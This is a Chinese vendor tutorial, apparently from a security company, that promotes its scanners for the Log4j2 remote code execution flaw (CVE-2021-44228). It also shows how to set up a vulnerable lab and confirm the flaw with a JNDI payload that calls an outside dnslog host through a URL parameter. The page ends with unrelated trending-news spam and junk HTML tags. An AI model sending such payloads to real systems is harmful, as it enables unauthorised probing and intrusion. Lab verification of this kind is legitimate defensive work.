数字经济的安全基石

Menu

产品技术

> 资源中心 > 知识中心 > 产品技术 > 正文

fnt_36">玩转Log4j2远程代码执行漏洞，安恒明鉴保姆级教程


2021.12.10，一个平平无奇的脱发日，突然老板来了消息。


工具发现

明鉴漏洞扫描系统

安恒明鉴漏扫产品第一时间已具备对该漏洞的扫描与检测能力，根据产品通知，将网站扫描策略升级至V1.3.582.534版本，开始做扫描任务。


1、新建策略模板，单独选择Apache Log4j 2远程代码执行扫描策略


2、新建扫描任务，选择对应策略模板并提交任务。


3、由于只针对这一个漏洞做应急扫描，任务很快执行完成，查看扫描结果，成功发现漏洞！


明鉴Web应用弱点扫描器

将策略库版本升级至V6.1.117版本，即可具备Apache Log4j 2远程代码执行（CVE-2021-44228）漏洞发现能力。


1、新建任务填写扫描目标。


2、选择自定义策略，勾选Apache Log4j远程代码执行（CVE-2021-44228）扫描策略。


3、待任务执行完成后，查看扫描结果。依旧发现，从工具中导出报告交给领导就能交差了！


顺利完成任务，不过这个波及广泛的Apache Log4j2 远程代码执行漏洞到底是啥，作为小白有必要一探究竟。


环境搭建

服务器环境

操作系统：centos7.7

JAVA环境：JDK1.8

Centos7.7安装教程：

https://www.cnblogs.com/weihengblogs/p/13724167.html

JAVA环境部署教程：

https://www.cnblogs.com/stulzq/p/9286878.html


漏洞环境获取

获取地址：

https://pan./s/12ftEpSFnOjjITGlWNbl84w

提取码：r5pk 


后台启用Log4j2漏洞环境


nohupjava-jarspringboot-log4j2-demo-0.0.1-SNAPSHOT.jar&


访问环境

漏洞环境的Web服务监听8082端口，param参数会调用log4j。这时请求一下该参数，确认环境是否正常。

http://X.X.X.X:8082/test?param=1


漏洞验证

通过dnslog.cn获取dnslog子域


构造payload


${jndi:ldap://fj537p.dnslog.cn/exp}


带入payload请求验证dns访问


http://X.X.X.X:8082/test?param=${jndi:ldap://fj537p.dnslog.cn/exp}


查看dnslog回显

看到这个回显就证明漏洞存在了。如果没有工具借助，按此方法来也能够验证。但若想快速便捷地大批量进行验证，还是需要购买专业漏洞扫描类产品，毕竟下一个高危漏洞爆发咱也不知道好不好手工验证。

更多精彩活动

相关内容

    与专家在线沟通， 免费获取专业解决方案

    线上咨询

    售前

    售后

    咨询电话：400-6059-110

    产品试用

    即刻预约免费试用，我们将在24小时内联系您

    微信咨询
    分享到： 文心一言 百度知道 支付宝 微博 QQ空间 QQ 豆瓣 知乎 CSDN 博客园 简书 百家号 搜狐号 网易号 腾讯
    百度 搜狗 360搜索 无人扶我大兵号，我至踏雪向航天！拯救~大兵~成功！ 宋代背景的游戏《燕云十六声》中出现玉米，这一设定符合史实吗？ 女演员因病成植物人奇迹苏醒 无限超越班3观后感 女子在餐馆见到可爱鳝鱼买下放生 
        <code id='7dfa1'></code><style id='0b354'></style>
        • <acronym id='51af6'></acronym>
        <center id='2d7dc'><center id='d0626'><tfoot id='365c2'></tfoot></center><abbr id='d7894'><dir id='5d758'><tfoot id='30198'></tfoot><noframes id='a2689'>
        • <optgroup id='dc9bd'><strike id='eac61'><sup id='faa6a'></sup></strike><code id='6252c'></code></optgroup>
          5. <b id='8ece0'><label id='ac882'><select id='68ee5'><dt id='84c6e'><span id='9181a'></span></dt></select></label></b><u id='a58a3'></u>
            <i id='978d0'><strike id='31976'><tt id='98eb2'><pre id='e86c1'></pre></tt></strike></i>